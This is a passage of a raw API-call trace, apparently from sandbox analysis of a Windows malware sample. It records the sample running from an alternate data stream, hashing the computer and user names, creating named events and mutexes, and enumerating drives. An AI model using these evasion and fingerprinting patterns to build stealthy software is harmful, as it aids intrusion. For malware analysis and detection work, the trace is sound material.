CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.876] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0040.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0040.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x1d3c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0040.899] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0040.907] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x18fdb0 | out: BaseAddress=0x18fdb0*=0x75670000) returned 0x0 [0041.319] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0041.319] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0041.319] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e840) returned 1 [0041.319] FindClose (in: hFindFile=0x2425e0 | out: hFindFile=0x2425e0) returned 1 [0041.319] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x252cd8*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" [0041.319] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0041.319] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0041.319] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e268 [0041.320] LocalFree (hMem=0x252cd8) returned 0x0 [0041.320] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x800) returned 0x1c37cf8 [0041.320] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c37cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin")) returned 0x2e [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x800) returned 0x1c38500 [0041.320] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c38500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin")) returned 0x2e [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0041.320] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x1c38d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0041.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0041.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x1d3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c900 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c948 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x100) returned 0x1c38d08 [0041.320] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x1c38d08, nSize=0x40 | out: lpBuffer="XDUWTFONO$") returned 0xa [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c38d08) returned 1 [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0041.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c990 [0041.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x1d3c990, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO$", lpUsedDefaultChar=0x0) returned 10 [0041.320] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c990) returned 1 [0041.320] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0041.321] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0041.321] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0041.321] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x2538d8) returned 1 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x184) returned 0x1c38d08 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c990 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3ca20 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3ca68 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3cab0 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3caf8 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3cb40 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3cb88 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3cbd0 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c38eb0 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c38ef8 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c38f40 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c38f88 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c38fd0 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39018 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39060 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c390a8 [0041.322] CryptCreateHash (in: hProv=0x2538d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0041.322] CryptHashData (hHash=0x2425e0, pbData=0x1d3c240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0041.322] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0041.322] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x2, pbData=0x1d3c9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1d3c9d8, pdwDataLen=0x18fc34) returned 1 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c390f0 [0041.322] CryptDestroyHash (hHash=0x2425e0) returned 1 [0041.322] CryptReleaseContext (hProv=0x2538d8, dwFlags=0x0) returned 1 [0041.322] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39138 [0041.322] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0041.322] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0041.322] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0041.323] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39138) returned 1 [0041.323] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c390f0) returned 1 [0041.323] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c390f0 [0041.323] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0041.323] GetLastError () returned 0x2 [0041.323] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c32850 [0041.323] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39138 [0041.323] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39138) returned 1 [0041.323] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.324] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.324] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23b0b8, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0041.324] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39138 [0041.324] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0xec [0041.324] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39138) returned 1 [0041.324] GetLastError () returned 0x0 [0041.324] SetSecurityInfo () returned 0x0 [0041.328] LocalFree (hMem=0x23b0b8) returned 0x0 [0041.328] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39138 [0041.328] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c32850 [0041.328] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.328] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0041.328] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.329] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0041.329] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23b0b8, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0041.329] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.329] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="") returned 0x104 [0041.329] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0041.329] GetLastError () returned 0x0 [0041.329] LocalFree (hMem=0x23b0b8) returned 0x0 [0041.329] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.329] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x2539b0) returned 1 [0041.330] CryptCreateHash (in: hProv=0x2539b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0041.330] CryptHashData (hHash=0x2425e0, pbData=0x1d3c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0041.330] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0041.330] CryptGetHashParam (in: hHash=0x2425e0, dwParam=0x2, pbData=0x1c39180, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1c39180, pdwDataLen=0x18fc34) returned 1 [0041.330] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c391c8 [0041.330] CryptDestroyHash (hHash=0x2425e0) returned 1 [0041.330] CryptReleaseContext (hProv=0x2539b0, dwFlags=0x0) returned 1 [0041.330] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0041.330] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.330] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39210 [0041.330] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0041.331] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39210) returned 1 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c391c8) returned 1 [0041.331] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c391c8 [0041.331] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39210 [0041.331] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39210) returned 1 [0041.331] GetLastError () returned 0x5 [0041.331] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39210 [0041.331] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39210) returned 1 [0041.331] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39210 [0041.331] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x130 [0041.331] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39210) returned 1 [0041.331] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0041.457] ReleaseMutex (hMutex=0x130) returned 0 [0041.457] GetLastError () returned 0x120 [0041.458] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39210 [0041.458] Wow64DisableWow64FsRedirection (in: OldValue=0x18fb78 | out: OldValue=0x18fb78*=0x1) returned 1 [0041.458] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0041.458] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0041.459] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0041.459] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e9d8 [0041.459] GetLogicalDrives () returned 0x4 [0041.479] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0041.480] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39180 [0041.480] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ea60 [0041.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, 